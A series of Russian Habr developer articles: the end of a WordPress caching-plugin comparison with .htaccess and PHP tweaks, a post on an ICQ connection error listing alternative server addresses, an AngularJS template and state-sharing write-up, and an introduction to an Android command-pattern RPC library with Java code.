Увеличивать время жизни кеша не хочется. Да, при обновлении страниц или новостей кеш для них автоматически будет обновлен, но на других страницах, куда могут быть подгружены эти записи, например, на главную, кеш обновлен не будет, а соответственно, добавленная или измененная запись там не появятся ровно до тех пор, пока не истечет время жизни предыдущего кеша.
Тем не менее в случае, если нет желания дорабатывать WP Super Cache, то W3 Total Cache вполне себе альтернатива. Также W3 Total Cache отлично подойдет для статичных сайтов, где можно обновлять кеш раз в сутки - запустил один раз ночью, и пусть он всё обновляет пока на сайте трафика мало. Либо вообще не использовать функцию автокеширования и обновлять кеш вручную при изменении сайта.
### Настройка W3 Total Cache
После установки и активации плагина, нас встречает "Мастер настройки". Для каждого типа кеширования он проведет наглядные тесты и предложит на выбор разные параметры кеширования.
Настройка W3 Total Cache* На вкладке "Page Cache" выбираем "Диск: базовое", если хотим использовать кастомную PHP-логику. Если наличие такой возможности не критично, то выбираем "Диск: расширенное", в этом случае рулить доставкой кеша будет mod\_rewrite, а скорость загрузки страниц будет немного выше.
* На вкладке "Кеш БД" выбираем "Отсутствует", т.к. у нас уже есть закешированные копии HTML-страниц. Кеширование БД нам потребуется только в том случае, если по какой-то причине кеширование страниц (Page Cache) отключено.
* На вкладке "Объектное кеширование" выбираем "Отсутствует", т.к. у нас уже есть закешированные копии HTML-страниц. Кеширование объектов нам потребуется только в том случае, если по какой-то причине кеширование страниц (Page Cache) отключено.
* На вкладке "Browser Cache" выбираем "Включено", это позволит сохранить на непродолжительное время копию страницы сайта в браузере пользователя. И, если он повторно попытается зайти на эту страницу, она мгновенно будет загружена браузером из локального хранилища устройства пользователя.
* "Lazy Load изображений" сейчас мы не включаем, это уже относится к оптимизации контента на сайте. Способы оптимизации HTML, JS, CSS и изображений можно рассмотреть в отдельной статье.
Далее переходим в админке в раздел "Perfomance" - "Page cache"
Настройка W3 Total CacheВключаем автокеширование ("Автоматическая настройка кеша страницы"), указываем интервал обновления (минимум 60 секунд, т.к. WP Cron не умеет работать быстрее), указываем кол-во страниц в интервале - выбираем в зависимости от скорости загрузки страниц без применения кеширования (если без кеширующего плагина в среднем TTFB страниц ~5 сек., то стоит указать кол-во не более 12, чтобы не нагружать лишний раз сервер). Также необходимо указать путь к Sitemap.XML, на основе которого будет осуществляться обход сайта. Рекомендую использовать для построения Sitemap.XML плагин "Yoast SEO", т.к. для интеграции с Yoast SEO у W3 Total Cache есть отдельное расширение, а это значит, что сайтпамы, сгенерированные Yoast SEO будут поглощаться плагином W3 Total Cache без каких-либо ошибок.
Чтобы отключить автокеширование у плагина W3 Total Cache достаточно поставить 0 в интервале обновления.
Далее спускаемся к разделу "Advanced":
Настройка W3 Total CacheВ блоке "Принятые строки запроса" указываем те GET-параметры URL-адресов, которые мы не хотим кешировать отдельно. Также укажем значения "Максимальное время жизни кэшированых объектов" и "Период удаления устаревшего кэша" в зависимости от того как часто мы хотим обновлять кеш. Нажимаем "Сохранить настройки и очистить кэш". На этом настройка плагина завершена.
Выше я уже писал о том, что периодически, несмотря на то, что кеш для определенных страниц уже создан, они все равно грузятся медленно. Частично исправить эту проблему поможет включение PHP-расширения "Zend Opcache" на сервере с сайтом.
Тем не менее вторую проблему (долгая загрузка страниц в период обновления кеша) решить невозможно, т.к. это особенность логики работы плагина W3 Total Cache, поэтому я продолжаю свои изыскания.
LiteSpeed Cache
---------------
Еще один популярный плагин для кеширования WordPress. Как оказалось, это попросту рекламный инструмент, вынуждающий пользователей использовать веб-сервер LiteSpeed вместо Apache или nginx, обещая при этом космическую скорость работы сайта (несмотря на то, что половина шаблонов и плагинов не будут работать на LiteSpeed, т.к. не оптимизированы под него). Что вообще за зверь этот LiteSpeed лучше всего продемонстрируют [комментарии](https://qna.habr.com/q/5543) на Хабре.
Не интересно, едем дальше.
Swift performance
-----------------
Очередной плагин, распространяющийся исключительно по подписке.
По началу я отнесся к нему крайне скептически, очередной «миллион-в-одном-плагин» с кучей «свистелок», но он смог меня удивить.
Человеческая настройка исключения GET-параметров из URL-адресов, которая работает без «колхоза», возможность работы без mod\_rewrite (что позволяет исполнять кастомную PHP-логику), умное автокеширование, инструменты оптимизации контента (html/js/css minify, lazy loading, генерация WebP-изображений). И это чудо работает без танцев с бубном.
Правда, на практике всё оказалось не столь радужно. О недостатках ниже.
### Настройка Swift perfomance
Параметров для настройки у Swift perfomance огромное множество. Поэтому будет проще не перечислять их все, а указать лишь те, которые отличаются от дефолтных.
После установки и активации плагина нас встречает вот такое меню:
Настройка Swift performanceНажимаем "Manual configuration" и попадаем в консоль Swift perfomance, где сразу же нажимаем "Advanced view":
Настройка Swift perfomance* **Раздел Media → Images** отключаем функции **"Generate WebP"** и **"Lazyload Images"**, так как, повторюсь, мы сейчас работаем именно с кешированием, а не с оптимизацией контента на сайте. К тому же этот функционал требует тестирования, т.к. не везде он работает адекватно и даёт ощутимый прирост в производительности.
* **Раздел Optimization → General** отключаем **"Fix Invalid HTML"** (всё по той же причине, что и выше).
* **Раздел Caching → General** оставляем значение параметра **"Caching Mode" = "Disk Cache with PHP"**, чтобы иметь возможность выполнять свои PHP-скрипты в корневом index.php или же выбираем **"Disk Cache with Rewrites"**, чтобы слегка увеличить скорость загрузки сайта.
* **Раздел Caching → General** устанавливаем значение параметра **"Cache Expiry Mode" = "Action based mode"** чтобы кеш обновлялся не по таймеру, а только при внесении изменений.
* **Раздел Caching → Tweaks** в разделе **"Ignore GET Params"** указываем перечень наших GET-параметров для исключения из обработки URL при кешировании и отдачи кеш-файлов.
Настройка Swift perfomance* **Раздел Caching → Warmup** включаем **"Prebuild Cache Automatically",** как раз для автокеширования, скорость выбираем согласно рекомендациям (Moderate для shared-хостинга, Multi thread - если сайт крутится на своей VDS), а также включаем опцию **"Discover New Pages"**, чтобы плагин искал и кешировал новые страницы автоматически.
Настройка Swift perfomanceНажимаем «Save changes». На этом настройка плагина закончена.
### Недостатки Swift perfomance
1. Он не умеет в кириллицу. Swift perfomance создает кеш ровно по тем адресам, которые имеют страницы сайта, т.е. если у нас URL страницы выглядит как [https://example.com/контакты](https://example.com/%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D1%8B), он не будет переводить "контакты" в URL-encoded для создания кеша. Но браузер будет обращаться именно к <https://example.com/%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D1%8B>, поэтому страницы, содержащие кириллицу, будут загружаться всегда медленно. Мелочь, но неприятно.
2. Скорость загрузки закешированных страниц с помощью Swift Perfomance всё же в 2-3 раза медленней, чем у WP Super Cache или у W3 Total Cache. Опять же, это не столь критично, когда при использовании кеширующего плагина скорость загрузки страницы упала с 8 000 мс до 300 мс, а не до 100 мс. Ведь не стоит забывать, что в этот момент пользователь всё равно не может пользоваться сайтом, т.к. страница должна отрендериться в браузере, должны загрузиться статичные файлы (css, js, картинки), а это явно не 100 и даже не 300 миллисекунд (если, конечно, сайт - это не черный текст на белом фоне).
3. Критичной стала проблема в работе «умного» кеширования в режиме «Action based mode». Разработчики заявляют, что при внесении изменений на сайте, запускается процесс обхода всех страниц сайта, при котором создаются новые кеш-копии файлов, а посетителям сайта продолжают отдаваться старые, пока новые не создадутся. В теории сайт всегда должен работать быстро, кеш перестраиваться максимально оперативно после обновления какой-либо информации на сайте, при этом нагрузка на сервер должна быть минимальной, т.к. процесс кеширования не происходит ровно до того момента, пока на сайте не были внесены изменения. По началу так и работает, но в какой-то момент всё ломается. На практике это «умное» автокеширование работает нестабильно. В какой-то момент созданные ранее кеш-файлы просто пропадают, плагин их удаляет или происходит какой-то рассинхрон, хотя новые копии под них ещё не были созданы, и сайт остаётся без какого-либо кеширования. Приходится запускать переобход вручную, а это ведёт к сильной нагрузке на сервер.
Если же выбрать классический вариант обновления кеша (по таймауту) - "Time based mode" - проявятся все те же проблемы как у WP Rocket или W3 Total Cache - то отвалится автокеширование, то кеш-файлы будут удалены буквально через пару минут после их генерации. В общем, пользоваться Time based mode я не смог.
Когда мы вручную обновляем весь кеш сайта, далеко не все страницы работают быстро. Через несколько минут после ручного запуска переобхода сайта, часть страниц уже имеют новый кеш (работают быстро), часть страниц еще отдаются со старым кешем (видим, что свежая новость в сайдбарах на этих страницах еще не появилась), но часть страниц (причем, немалая) грузится ужасно долго (8 – 12 сек. против 3-4 сек. без использования кеширования вообще).
В общем, я возлагал большие надежды на Swift Perfomance, но из-за нестабильной работы своего основного функционала, пришлось от него отказаться. На текущий момент я его не использую ни на одном из проектов.
WP Fastest Cache
----------------
WP Fastest Cache — это еще один популярный плагин для кеширования WordPress.
Забегая вперед, WP Fastest Cache вернул меня обратно к «колхозу». Но несмотря на это, на сегодня он попал в мои фавориты.
### Настройка WP Fastest Cache
* Скачиваем и активируем плагин
* Ставим три галки как показано на скриншоте
Настройка WP Fastest Cache* Готово
Серьезно, ещё ни один плагин не настраивался так быстро!
Кстати, после того как мы нажмем на «Автоматическая предварительная генерация кэша всего сайта», появится поп-ап, в котором необходимо указать следующие настройки.
Настройка WP Fastest CacheВот оно. Плагин, который не требует кучи параметров и просто работает. Плагин обходит сайт 1 раз в 5 минут (изменить в настройках время невозможно, но разработчики предусмотрели такую возможность через редактирование файла wp-config.php). Плагин кеширует указанное кол-во страниц (не более 12 шт. за раз, но с помощью wp-config.php можно указать любое количество). Пользователям отдаются кешированные файлы вне зависимости от их давности, а плагин в фоне (если установлена галочка «Restart After Completed») будет непрерывно обходить весь сайт для обновления файлов кеша.
Но почему я написал, что этот плагин вернул меня к «колхозу»?
**Во-первых.** Не довели разработчики до ума функционал игнорирования GET-параметров. UTM-метки и gclid работают без проблем - закешированная версия страницы загружается быстро. Но, к сожалению, разработчики не знают про Яндекс, и наличие метки yclid всё ломает, а страницы с такой меткой грузятся медленно. Раз уж мы начали с «колхоза», «колхозом» и закончим.
Открываем файл **/wp-content/plugins/wp-fastest-cache/inc/cache.php** и ищем **"gclid"**
Доработка WP Fastest Cacheпосле чего по тому же самому принципу добавляем недостающие GET-параметры, такие как yclid.
**В-вторых**, WP Fastest Cache работает исключительно с помощью mod\_rewrite и выполнить свой PHP-код в момент конкретной загрузки страницы посетителем нельзя. Но и это решается с помощью доработки.
Открываем в корневой директории файл .htaccess и дописываем в начало следующий код:
```
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST\_METHOD} !POST
RewriteCond %{HTTP:Cookie} !PHPSESSID
RewriteCond %{REQUEST\_URI} !(\/){2}$
RewriteCond %{REQUEST\_URI} \/$
RewriteCond %{QUERY\_STRING} !.+
RewriteCond %{DOCUMENT\_ROOT}/wp-content/cache/all/$1/index.html -f
RewriteRule ^(.\*) "lkdm-cache.php?$1" [L]
```
Что тут написано? Мы проверяем, что запрос был совершен без POST-параметров (т.е. это не отправка какой-то формы, логику работы которой мы не хотим нарушать), а также у пользователя отсутствовала кука PHPSESSID, отвечающая за хранение информации о сессии пользователя. В этом случае мы проверяем существует ли кеш-файл для страницы, которую пользователь пытается открыть, если да, то мы отдаем пользователю файл lkdm-cache.php с GET-запросом пользователя (полный URL-адрес) и останавливаем исполнение условий, описанных в .htaccess. В иных случаях ничего не делаем, и обработкой запроса занимаются правила WP Fastest Cache, описанные ниже в файле .htaccess. При этом, если кеш-копии файла нет, то мы ничего не делаем, наш код будет выполнен уже из корневого index.php.
Теперь нам нужно исполнить свой код. Для этого создаем файл lkdm-cache.php в корневой директории WordPress, указываем в нём тот код, который нам необходимо исполнить, а после этого пишем следующее, чтобы отдать пользователю кеш-копию страницы:
```
echo file_get_contents("wp-content/cache/all".$_SERVER['REQUEST_URI']."index.html");
```
### Стоит обратить внимание
1. После обновления плагина WP Fastest Cache всегда необходимо вносить изменения, связанные с GET-параметрами в файл **/wp-content/plugins/wp-fastest-cache/inc/cache.php**
2. После обновления настроек плагина WP Fastest Cache всегда необходимо переносить добавленный в .htaccess код в самое начало, т.к. ровно то же самое (перенос в начало) делает плагин при обновлении настроек. Соответственно, наш код из .htaccess исполнен не будет, если он находится ниже куска кода от WP Fastest Cache.
Заключение
----------
Сейчас на большинстве проектов я использую WP Fastest Cache со своими доработками. W3 Total Cache устанавливаю только на статичные сайты, обычно лендинги, где практически не вносятся изменения, он будет выдавать максимальную скорость загрузки. Также WP Super Cache устанавливаю периодически на сайты, если точно знаю, что на сайт не будет вестись реклама в будущем, т.к. мне он кажется самым простым в установке и настройке. WP Super Cache в этом плане был бы самым универсальным и стабильно работающим плагином, если бы разработчики предусмотрели возможность исключения части запросов из URL-адреса. Сейчас же приходится дорабатывать исходный код.
В заключение скажу, что у всех плагинов находятся свои проблемы. Мирится с ними, не замечать или дорабатывать решает каждый сам. Полное заключение по плагинам и свои рекомендации я даю в [первой части](https://habr.com/ru/post/573698/) статьи. Здесь же дополню, что убедился, что даже «платность» плагина не гарантирует его качественную работу.
PS
--
Это переписанная и структурированная статья из моего телеграм-канала «[digital на минималках](https://t.me/low_digital)», где я делюсь опытом в бизнесе, инструкциями, рассказываю, как удешевить свои вложения в digital, рассуждаю на небанальные темы, немного бомблю и делюсь мемчиками (осторожно, ненормативная лексика). Решил, что подобное объемное исследование будет интересно не только подписчикам моего канала. | https://habr.com/ru/post/573750/ | null | ru | null |
# Reservation link error в icq
Сегодня у многих пользователей icq, у кого-то раньше, у кого-то позже, произошло отключение от сети и последующая ошибка при реконнекте «Reservation link error». Проблема затрагивает большинство популярных клиентов. В качестве решения предлагают использовать альтернативные адреса icq серверов (некоторым ненадолго помогает). Также некоторые рассказывают как им помогло упорство в реконнекте. Некоторым помогает подождать.
На момент написания поста чёткой инфомации о причинах проблемы и однозначных способах решения нет. В форумах в основном лёгкая паника.
Такая же проблема уже была в 2006 году. Прошла сама.
Хотя большинство хабраюзеров, полагаю, использует более красивые лампочные протоколы и их эта проблема сильно не затронула.
[вот что думает Гугл по этому вопросу](http://www.google.ru/search?hl=ru&q=icq+reservation+link+error)
`login.oscar.aol.com
ibucp-vip-d.blue.aol.com
ibucp-vip-m.blue.aol.com
ibucp2-vip-m.blue.aol.com
bucp-m08.blue.aol.com
icq.mirabilis.com
icqalpha.mirabilis.com
icq1.mirabilis.com
icq2.mirabilis.com
icq3.mirabilis.com
icq4.mirabilis.com
icq5.mirabilis.com`
То же самое, но в ip адресах.
`205.188.252.24
205.188.252.27
205.188.252.21
205.188.254.5
205.188.252.33
205.188.252.22
205.188.252.31
205.188.254.3
205.188.254.11
205.188.252.30
205.188.252.18
205.188.254.10
205.188.254.1
205.188.252.19
205.188.252.28` | https://habr.com/ru/post/62686/ | null | ru | null |
# AngularJS: как я отказался от ng-include и связал состояния двух контроллеров
В [прошлой статье](http://habrahabr.ru/post/182348/) я рассказывал про свое первое знакомство с AngularJS. С тех пор прошел уже год, сейчас у меня новые проекты и другие, часто менее тривиальные задачи. Здесь я опишу несколько нюансов, с которыми мне пришлось столкнуться в процессе работы над одной из систем. Надеюсь, читатели смогут извлечь пользу из моих практик.
#### Поиск и якорь
Предположим, что нам поступила задача разработать клиентскую часть для нашего нового проекта. Это каталог, в котором будут храниться сотни тысяч документов. Поскольку он довольно большой, в API предусмотрена возможность загружать элементы постранично (с указанием начального индекса) а также фильтровать по отдельным полям в документе.
А для того, чтобы пользователи не терялись в системе и могли делиться между собой информацией, клиент должен сохранять свое состояние в адресной строке.
Что ж, задание понятно. Приступаем.
Чтобы хранить значения фильтров, создадим сервис **$query**. У него будет два метода:
* **push(query)** – получает объект с набором фильтров и добавляет их в адресную строку (поле search).
* **parse()** – преобразует search обратно в набор фильтров.
> Здесь следует сделать отступление. Поскольку на странице используется несколько шаблонов (например, для пагинации), в адресную строку автоматически добавляется решетка (#). Это происходит из-за того, что [ng-include](https://docs.angularjs.org/api/ng/directive/ngInclude) использует сервис [$location](https://docs.angularjs.org/api/ng/service/$location), при наличии которого angular начинает считать, что мы делаем одностраничное приложение.
Соответственно, объект вида
```
{
index: 0,
size: 20
}
```
превратится в
> `localhost:1337/catalog#?index=0&size=20`
Но постойте. Пользователи хотят не только получать состояние страницы, но и отмечать на ней отдельный документ.
Официальная документация в таком случае советует использовать [$anchorScroll](https://docs.angularjs.org/api/ng/service/$anchorScroll) или *scrollTo*.
Т.е. теперь мы получим следующее:
> `localhost:1337/catalog#?index=0&size=20&scrollTo=5`
В этот момент мое эстетическое чувство воззвало к поиску другого решения.
Первой мыслью было отказаться от *ng-include*, чтобы адресная строка больше не подвергалась насилию со стороны ангуляра. Но что тогда делать с шаблонами? Выход был только один: написать собственную директиву для работы с шаблонами.
#### С блекджеком и шаблонами
С директивой проблем не возникло. Для работы с шаблонами angular использует сервис [$templateCache](https://docs.angularjs.org/api/ng/service/$templateCache). В него можно положить кусок html-кода с помощью [text/ng-template](https://docs.angularjs.org/api/ng/directive/script) или метода **put()**. Также, по аналогии с *ng-include*, предусмотрим выполнение кода из атрубита *onload*.
Код директивы:
```
app.directive('template', ['$templateCache', '$compile', function ($templateCache, $compile) {
return {
scope: false,
link: function (scope, element, attrs) {
var tpl = $compile($templateCache.get(attrs.orgnTemplate))(scope);
tpl.scope().$eval(attrs.onload || '');
element.after(tpl);
element.remove();
}
}
}]);
```
Теперь мы сможем использовать шаблоны следующим образом:
```
```
Решив проблему с *$location*, я немного переписал сервис *$query*, чтобы теперь он работал исключительно с history API.
> К слову, не пытайтесь использовать их вместе. Это приведет к бесконечному циклу.
Так что теперь адресная строка получилась более понятной и приятной на вид:
> `localhost:1337/catalog?index=0&size=20#5`
И перемещение по якорям больше не требует дополнительного кода.
#### Легкость общения
Разбив страницу на отдельные шаблоны и контроллеры, я неожиданно столкнулся с другой проблемой: контроллеры должны взаимодействовать между собой. Даже если не состоят в родительских отношениях. А в отдельных случаях (опять же, пагинация), контроллеры должны синхронизировать свое состояние.
Первый вариант заключался во взаимодействии между контроллерами через события. В таком случае на каждое действие контроллеры рассылают друг-другу события. К сожалению, в моем случае кол-во и разнообразие событий на квадратный сантиметр кода стало переходить все разумные рамки. Я решил отказаться от оптимизации и сделать отдельный механизм для обмена информацией вне зависимости от текущего *scope*.
Так появился сервис **$store**. В первом варианте у него был один метод:
* **value(key, value)** – сохраняет или извлекает значение по ключу.
В контроллеры был добавлен следующий код:
```
$scope.$watch(function () {
return $store.value('foo');
}, function (data) {
doSomething(data);
}, true);
```
Теперь, когда мне требовалось синхронизировать состояние двух и более контроллеров, я лишь перезаписывал значение в ключе:
```
$store.value('stream', data);
```
> Не забывайте, что все сервисы являются синглтонами, поэтому при добавлении сервиса одновременно в несколько контроллеров, мы получаем доступ к одному и тому же объекту.
Позже, когда я немного автоматизировал передачу данных между двумя шаблонами (например, список элементов теперь автоматически привязывался к пагинации с помощью своего *$id*), в сервис был добавлен метод **alias()**:
* **alias(key, values...)** – добавляет или возвращает список синонимов для указанного ключа.
Таким образом, у меня появилась возможность указывать *alias* в атрибуте *onload* директивы шаблона. Грубо говоря, если в контроллере вдруг появляется потребность запросить состояние, это можно сделать не по оригинальному ключу, который может быть недоступен, а по заранее заданному значению.
#### Вместо послесловия
Так вышло, что, казалось бы, тривиальная задача переросла в полноценный рефакторинг. Впрочем, по его окончании, по крайней мере, на мой взгляд, код стал гораздо проще для чтения и более предсказуем в работе. Я больше не теряюсь в бесконечных событиях, питаюсь только здоровой пищей и занимаюсь спортом. Надеюсь, эта статья поможет другим обрести душевный покой и научиться чему-то новому. Удачи и приятного дня! | https://habr.com/ru/post/229225/ | null | ru | null |
# Командный паттерн вызова удаленных процедур (RPC) в Android
### Предисловие
Недавно я начал свое знакомство с платформой Android. На определенном этапе необходимо было проверить, как тут обстоят дела с удаленным вызовом процедур или, проще говоря, клиент-серверным взаимодействием.
Поначалу была надежда, что платформа позволит использовать технологию EJB. После некоторых поисков в Интернете, я убедился, что это не так просто. Большинство источников рекомендовало использовать вебсервисы как альтернативу, т.к. EJB слишком тяжеловесна для Android. Для вебсервисов же рекомендовался фреймворк [ksoap2-android](http://code.google.com/p/ksoap2-android).
Понатыкавшись на различные грабли при первоначальном изучении ksoap2, я дошел до этапа, когда необходимо было послать и получить с сервера объект своего кастомного типа. Воспользовавшись поиском нашел вот [эту статью](http://seesharpgears.blogspot.com/2010/10/ksoap-android-web-service-tutorial-with.html). Оттуда почерпнул, что каждый кастомный объект должен реализовать интерфейс ***KvmSerializable***. Это же подразумевало, что мы должны реализовать методы для сериализации и десериализации объекта. Поскольку в теории предполагалось использовать больше сотни собственных объектов, идея писать реализацию KvmSerializable для каждого из них как-то не вызывала у меня энтузиазма.
Что же делать, неужели за столько лет на платформе Android нет более удобного способа для организации RPC? Поиски продолжались. Многие источники рекомендовали использовать JSON. Но писать сериализацию для JSON мне тоже не очень то и хотелось. Чуть позже, правда, я наткнулся на упоминание о библиотеке [gson](http://code.google.com/p/google-gson/), и, кажется, там с этим делом не так плохо.
Последняя надежда была на технологию GWT-RPC. Предполагалось, что раз GWT и Android детища одной корпорации, то, вероятно, должен существовать простой способ вызывать методы GWT-RPC из Android клиента. К сожалению, такой способ мною найден не был. Хотя и существует библиотека gwt-phonegap, но как-то сходу мне не удалось найти информации касательно RPC.
Практически полностью разочаровавшись в результатах своих поисков, хотел было уже забросить это дело. Но тут нашлась [интересная статья](http://developerlife.com/tutorials/?p=288). Автор предлагал использовать бинарную сериализацию, т.е. стандартную для платформы Java, и посылать объекты используя HTTP протокол и Apache HTTP Client встроенный в Android. Правда там оговаривалось, что подход может работать не для всех объектов. Но среди преимуществ указывалось, что это реально экономит время разработки. Немного потестировал идею автора и убедился, что для многих объектов такой вид сериализации и транспорта более чем подходит. Конечно, многие разработчики описывают метод бинарной сериализации для Android как зло, т.к. сложно уследить, чтобы на сервере и клиенте были классы одинаковой версии. В принципе, я не собирался писать ничего для широких масс, поэтому для себя не узрел ничего плохого в таком подходе. Только сделал пометку, что надо тестировать это дело для каждого нового более менее сложного объекта.
Похоже с транспортом и сериализацией я более-менее определился. Теперь же хотелось иметь какой-нибудь удобный инструмент для использования в приложении. Тут пришлось опять вспомнить про GWT, а именно про замечательный фреймворк [gwt-dispatch](http://code.google.com/p/gwt-dispatch), с которым мне уже приходилось иметь дело. На хабре уже была [хорошая статья](http://habrahabr.ru/post/94844/) по поводу него. Gwt-dispatch — это проект с открытым кодом и он, по сути, надстраивается над GWT RemoteServiceServlet. Проанализировав вышеизложенную информацию, мне показалось, что будет возможно и не очень сложно переделать этот фреймворк как обертку над обычным сервлетом. А уже на стороне Android вызывать необходимые методы используя http клиент.
Я принялся изучать исходники проекта. Необходимо было упростить серверную часть, и разорвать всякую связь с GWT. Теперь все объекты ***Action*** должны были реализовать обычный интерфейс ***Serializable*** вместо GWT ***IsSerializable***. После нескольких дней работы на выходе получился результат, которым мне захотелось поделиться с сообществом. Поэтому я оформил его в библиотеку под названием [http-dispatch](http://code.google.com/p/http-dispatch/). По своей сути она фактически является немного переделанным фреймворком gwt-dispatch. Но что самое приятное, библиотека готова к тестированию и, надеюсь, использованию на Android платформе. По крайней мере первые тесты в эмуляторе и на моей таблетке прошли успешно. Надеюсь что при помощи сообщества результат удастся довести до ума.
На этом предисловие заканчивается. Подразумеваю, что многие читатели все же зашли сюда за практической частью.
### Практическая часть
Командный паттерн подразумевает, что клиент отправляет на сервер некую команду предопределенного типа. Сервер распознает ее и выполняет сопоставленное с ней действие используя команду в качестве аргумента. После выполнения действия клиенту возвращается некий результат.
Я покажу вам как написать простенькую ping команду используя фреймворк http-dispatch. Команда будет посылать произвольный объект на сервер и получать такой же объект обратно.
#### Общая клиент-серверная часть
В первую очередь опишем объекты необходимые для работы как клиента так и сервера.
Сначала результат выполнения команды. Каждый результат должен реализовать интерфейс ***net.customware.http.dispatch.shared.Result***. Наш же результат будет расширять абстрактный класс ***AbstractSimpleResult***, который подходит для ситуаций, когда с сервера возвращается один объект.
**PingActionResult.java**
```
import net.customware.http.dispatch.shared.AbstractSimpleResult;
public class PingActionResult extends AbstractSimpleResult
{
private static final long serialVersionUID = 1L;
public PingActionResult(Object object)
{
super(object);
}
}
```
Теперь напишем непосредственно команду, которая будет отправляться на сервер. Последний же, в свою очередь, будет возвращать результат описанный в предыдущем шаге. Каждая команда должна реализовать generic интерфейс ***net.customware.http.dispatch.shared.Action***. Параметром реализации необходимо указать тип результата. Это будет ***PingActionResult*** из предыдущего шага. Наша команда будет содержать объект, который десериализируется на сервере и отправится обратно клиенту уже как результат обернутый в ***PingActionResult***. Поскольку в обучающем материале хочется показать несколько случаев состояния на сервере, добавим в нашу команду также опции возвращения null результата и выбрасывания исключения.
**PingAction.java**
```
public class PingAction implements Action
{
private static final long serialVersionUID = 1L;
private Object object;
//Флаг для создания искусственной исключительной ситуации
private boolean generateException;
//Флаг для возврата null результата с сервера
private boolean nullResult;
public PingAction(Object object)
{
this.object = object;
}
public PingAction(boolean nullResult, boolean generateException)
{
this.generateException = generateException;
this.nullResult = nullResult;
}
public Object getObject()
{
return object;
}
public void setObject(Object object)
{
this.object = object;
}
public boolean isGenerateException()
{
return generateException;
}
public void setGenerateException(boolean generateException)
{
this.generateException = generateException;
}
public boolean isNullResult()
{
return nullResult;
}
public void setNullResult(boolean nullResult)
{
this.nullResult = nullResult;
}
}
```
На этом этапе мы разобрались с частью, которая должна присутствовать как на клиенте так и на сервере.
#### Серверная часть
В первую очередь напишем управляющий класс для нашей команды PingAction. Каждый такой управляющий класс должен реализовать интерфейс ***net.customware.http.dispatch.server.ActionHandler***. Существует более высокоуровневый абстрактный класс ***SimpleActionHandler***, который уже реализует некоторые методы интерфейса ***ActionHandler*** для облегчения написания новых обработчиков
**PingActionHandler.java**
```
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import net.customware.http.dispatch.server.ExecutionContext;
import net.customware.http.dispatch.server.SimpleActionHandler;
import net.customware.http.dispatch.shared.ActionException;
import net.customware.http.dispatch.shared.DispatchException;
import net.customware.http.dispatch.test.shared.PingAction;
import net.customware.http.dispatch.test.shared.PingActionResult;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.google.inject.Inject;
import com.google.inject.Provider;
public class PingActionHandler extends
SimpleActionHandler
{
protected final Logger log = LoggerFactory.getLogger(getClass());
@Override
public PingActionResult execute(PingAction action,
ExecutionContext context) throws DispatchException
{
try
{
//Если установлен флаг возникновения исключительной ситуации
if (action.isGenerateException())
{
throw new Exception("Generated exception");
//Если установлен флаг возвращения null результата
} else if (action.isNullResult())
{
return null;
//В остальных случаях вернуть полученный объект обратно
} else
{
Object object = action.getObject();
log.debug("Received object " + object);
return new PingActionResult(object);
}
} catch (Exception cause)
{
log.error("Unable to perform ping action", cause);
//При возникновении исключения может возникнуть ситуация, когда
// тип исключения не будет присутствовать на клиенте. Поэтому
// исключение оборачиваем в ActionException, которая является
// частью библиотеки http-dispatch
throw new ActionException(cause);
}
}
// rollback в настоящее время вызывается только в случае пакетных заданий, так
// называемых BatchAction. Тогда, когда возникает исключительная ситуация для
// одного из подзаданий.
@Override
public void rollback(PingAction action, PingActionResult result,
ExecutionContext context) throws DispatchException
{
log.debug("PingAction rollback called");
}
}
```
Теперь нам необходимо зарегистрировать обработчик в управляющем сервлете. Для первого раза я покажу как это сделать без использования Guice на примере небезопасного сервлета.
Каждый управляющий сервлет должен расширять класс ***net.customware.http.dispatch.server.standard.AbstractStandardDispatchServlet*** или ***AbstractSecureDispatchServlet***. Наш стандартный управляющий сервлет будет выглядеть так
**StandardDispatcherTestService.java**
```
import net.customware.http.dispatch.server.BatchActionHandler;
import net.customware.http.dispatch.server.DefaultActionHandlerRegistry;
import net.customware.http.dispatch.server.Dispatch;
import net.customware.http.dispatch.server.InstanceActionHandlerRegistry;
import net.customware.http.dispatch.server.SimpleDispatch;
import net.customware.http.dispatch.server.standard.AbstractStandardDispatchServlet;
import net.customware.http.dispatch.test.server.handler.PingActionHandler;
/**
*/
public class StandardDispatcherTestService extends
AbstractStandardDispatchServlet
{
private static final long serialVersionUID = 1L;
private Dispatch dispatch;
public StandardDispatcherTestService() {
// Setup for test case
InstanceActionHandlerRegistry registry = new DefaultActionHandlerRegistry();
registry.addHandler( new BatchActionHandler() );
registry.addHandler(new PingActionHandler());
dispatch = new SimpleDispatch( registry );
}
@Override
protected Dispatch getDispatch()
{
return dispatch;
}
}
```
Тут помимо нашего ***PingActionHandler*** мы регистрируем также стандартный ***BatchActionHandler***. Он служит для обработки пакета команд ***BatchAction***.
Теперь добавим описание нашего сервлета в web.xml
**web.xml**
```
xml version="1.0" encoding="UTF-8"?
DispatchServlet
net.customware.http.dispatch.test.server.standard.StandardDispatcherTestService
0
DispatchServlet
/standard\_dispatch
```
На этом, пожалуй, с серверной частью все.
#### Клиент
Перейдем к клиентской части. Сразу оговорюсь что фреймворк http-dispatch предполагает, что все операции с сервером асинхронны. Хоть и существует возможность синхронного вызова, но я бы не рекомендовал ею пользоваться.
Напишем простенький клиент для Android платформы, который будет использовать стандартный асинхронный интерфейс. Для взаимодействия с сервером необходимо реализовать интерфейс ***net.customware.http.dispatch.client.standard.StandardDispatchServiceAsync*** или ***SecureDispatchServiceAsync*** в зависимости от ситуации. Несмотря на свой небольшой опыт в работе с платформой Android, я взял на себя смелость написать простую реализацию интерфейса для нее. В этот раз мы будем использовать ***net.customware.http.dispatch.client.android.AndroidStandardDispatchServiceAsync***. Особенностью этой реализации есть то, что все команды выполняются в отдельном потоке. По возвращению же результата от сервера, обработка происходит в EDT потоке. Выглядит это так:
```
public void execute(
final Action action,
final AsyncCallback callback)
{
// позволяет не-"edt" быть вставленными в "edt" очередь
final Handler uiThreadCallback = new Handler();
new Thread()
{
@Override
public void run()
{
final Object result = getResult(action);
// производит віполнетие в "edt" потоке, после завершения
// фоновой операции
final Runnable runInUIThread = new Runnable()
{
@Override
public void run()
{
HttpUtils.processResult(result, callback);
}
};
uiThreadCallback.post(runInUIThread);
}
}.start();
}
```
